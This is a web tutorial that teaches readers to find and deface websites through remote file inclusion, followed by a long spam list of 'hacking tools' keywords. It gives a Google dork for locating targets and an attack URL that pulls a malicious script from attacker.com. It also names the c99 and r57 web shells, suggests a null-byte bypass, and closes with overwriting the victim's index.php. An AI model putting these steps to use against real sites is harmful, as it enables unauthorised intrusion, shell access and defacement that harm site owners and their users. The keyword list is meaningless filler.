HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Continue reading

1. Hacking Tools Usb
2. Physical Pentest Tools
3. Pentest Automation Tools
4. Hack Tools Pc
5. Hack And Tools
6. Pentest Tools Kali Linux
7. World No 1 Hacker Software
8. Hacking Tools Download
9. Tools Used For Hacking
10. Hacking Tools Kit
11. Hack Tools
12. Hacking Tools Windows
13. How To Make Hacking Tools
14. Hack Tools Mac
15. Hacker Tools
16. Hack Tools For Games
17. Kik Hack Tools
18. Github Hacking Tools
19. Best Pentesting Tools 2018
20. Pentest Tools Linux
21. Hacker Hardware Tools
22. Hacker Tools Free Download
23. Hacker Tool Kit
24. Growth Hacker Tools
25. Pentest Tools Find Subdomains
26. Hacker Tools Software
27. Hacking Tools For Beginners
28. Pentest Tools Github
29. Pentest Tools Github
30. Hacking Tools 2019
31. Pentest Tools Kali Linux
32. Hacker Tools List
33. Pentest Tools Subdomain
34. Hack Tools
35. Hack Tools For Mac
36. Tools For Hacker
37. Hack Tools
38. Hack Tools For Windows
39. Hacking Tools For Windows
40. Hacking Tools For Pc
41. Hack And Tools
42. Pentest Tools Android
43. Hacking Tools For Windows 7
44. Best Pentesting Tools 2018
45. Pentest Recon Tools
46. Pentest Tools Open Source
47. Pentest Box Tools Download
48. Hack Apps
49. Wifi Hacker Tools For Windows
50. Hacking Tools Mac
51. Pentest Tools Website Vulnerability
52. Hack Tools Pc
53. Hacking Apps
54. Nsa Hacker Tools
55. Pentest Tools Download
56. Hacking Tools 2019
57. Hacking Tools Github
58. Hacker Security Tools
59. Hacker Tools List
60. Hacking Tools Download
61. Pentest Tools Alternative
62. Hack Tools For Mac
63. Hacking Apps
64. Hacker Tool Kit
65. Hack Tools
66. Hacking Tools
67. Hacking Tools And Software
68. Hacker Tools Software
69. Hacker Tools For Pc
70. World No 1 Hacker Software
71. Hacking Apps
72. Hacker Tools For Windows
73. How To Hack
74. Nsa Hacker Tools
75. World No 1 Hacker Software
76. Bluetooth Hacking Tools Kali
77. Pentest Box Tools Download
78. Hacking Tools Kit
79. Pentest Tools Apk
80. Hacking Tools 2020
81. Black Hat Hacker Tools
82. Pentest Tools
83. Hack Tools Online
84. Hacking Tools Windows 10
85. Hack Tools Mac
86. Computer Hacker